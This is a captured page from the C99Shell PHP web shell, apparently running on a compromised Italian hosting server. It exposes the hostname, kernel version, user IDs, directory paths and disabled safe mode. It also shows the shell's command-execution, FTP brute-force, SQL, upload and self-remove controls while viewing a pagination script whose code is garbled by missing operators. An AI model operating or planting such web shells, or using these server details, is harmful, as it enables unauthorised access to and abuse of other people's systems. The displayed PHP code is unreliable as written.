!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/aps/include/   drwxr-xr-x
Free 183.74 GB of 490.84 GB (37.43%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     paginazione.php (1.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?

define
('NUMERI_IN_MENO',4);
define('NUMERI_IN_PIU',5);
define('NUMERO_ELEMENTI_PER_PAGINA',10);
function 
generaPaginazione(
                            
$numeroRecord,
                            
$paginaCorrente,
                            &
$minimo,
                            &
$massimo,
                            &
$primo,
                            &
$ultimo,
                            &
$numeroTotalePagine
                            
)
{
    
    
$numeroTotalePagine intval($numeroRecord NUMERO_ELEMENTI_PER_PAGINA);
    if ( (
$numeroTotalePagine NUMERO_ELEMENTI_PER_PAGINA) < $numeroRecord )
        
$numeroTotalePagine++;
       
 
    
$minimo $paginaCorrente NUMERI_IN_MENO;
    
$massimo $paginaCorrente NUMERI_IN_PIU;
    
    
/*
    verifico se il minimo รจ sceso sotto il numero 1 ed in caso lo riporto al numero 1 
    e le pagine eliminate le aggiungo al massimo per mantenere i 10 elementi di paginazione
    */
    
    
if ($minimo<1)
    {
        
$minimo 1;
        
        
$totalePagineTemporaneo $massimo $minimo;
        
$differenzaMinimo = (NUMERI_IN_MENO+NUMERI_IN_PIU)-$totalePagineTemporaneo;
        
$massimo+=$differenzaMinimo;
    } 
    
    
/*
    verifico che il numero massimo non sia superiore del massimo delle pagine disponibili
    */
    
if ($massimo>$numeroTotalePagine)
    {
        
$differenzaMassimo $massimo $numeroTotalePagine;
        
        
$massimo $numeroTotalePagine;
        
$minimo -= $differenzaMassimo;
        
        
//ricontrollo che il minimo non sia andato sotto il valore 1 ed in caso lo forzo a 1
        
if ($minimo 1)
            
$minimo 1;
    }
    
    
$primo = ($minimo>1);
    
$ultimo = ($massimo<$numeroTotalePagine);
        
    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0065 ]--